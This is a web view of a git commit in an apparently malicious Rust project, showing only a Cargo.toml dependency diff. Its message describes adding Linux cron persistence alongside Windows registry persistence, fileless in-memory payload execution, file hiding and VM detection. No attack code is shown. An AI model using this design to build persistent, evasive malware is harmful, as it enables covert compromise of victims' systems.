Add cross-platform support for Linux and Windows

- Implement conditional compilation for platform-specific dependencies
- Add Linux persistence via cron jobs as alternative to Windows registry
- Create cross-platform fileless execution (memexec for Windows, temp file + exec for Linux)
- Support platform-specific paths and file hiding mechanisms
- Maintain full Windows compatibility while adding Linux support
This commit is contained in:
2025-12-14 12:10:49 +01:00
parent 42550bdc8d
commit e8c22a8160
2 changed files with 115 additions and 19 deletions
+5
View File
@@ -8,5 +8,10 @@ edition = "2021"
[dependencies]
inside-vm = "0.2.0"
aes = "0.8.2"
[target.'cfg(windows)'.dependencies]
memexec = "0.2"
winreg = "0.9"
[target.'cfg(unix)'.dependencies]
libc = "0.2"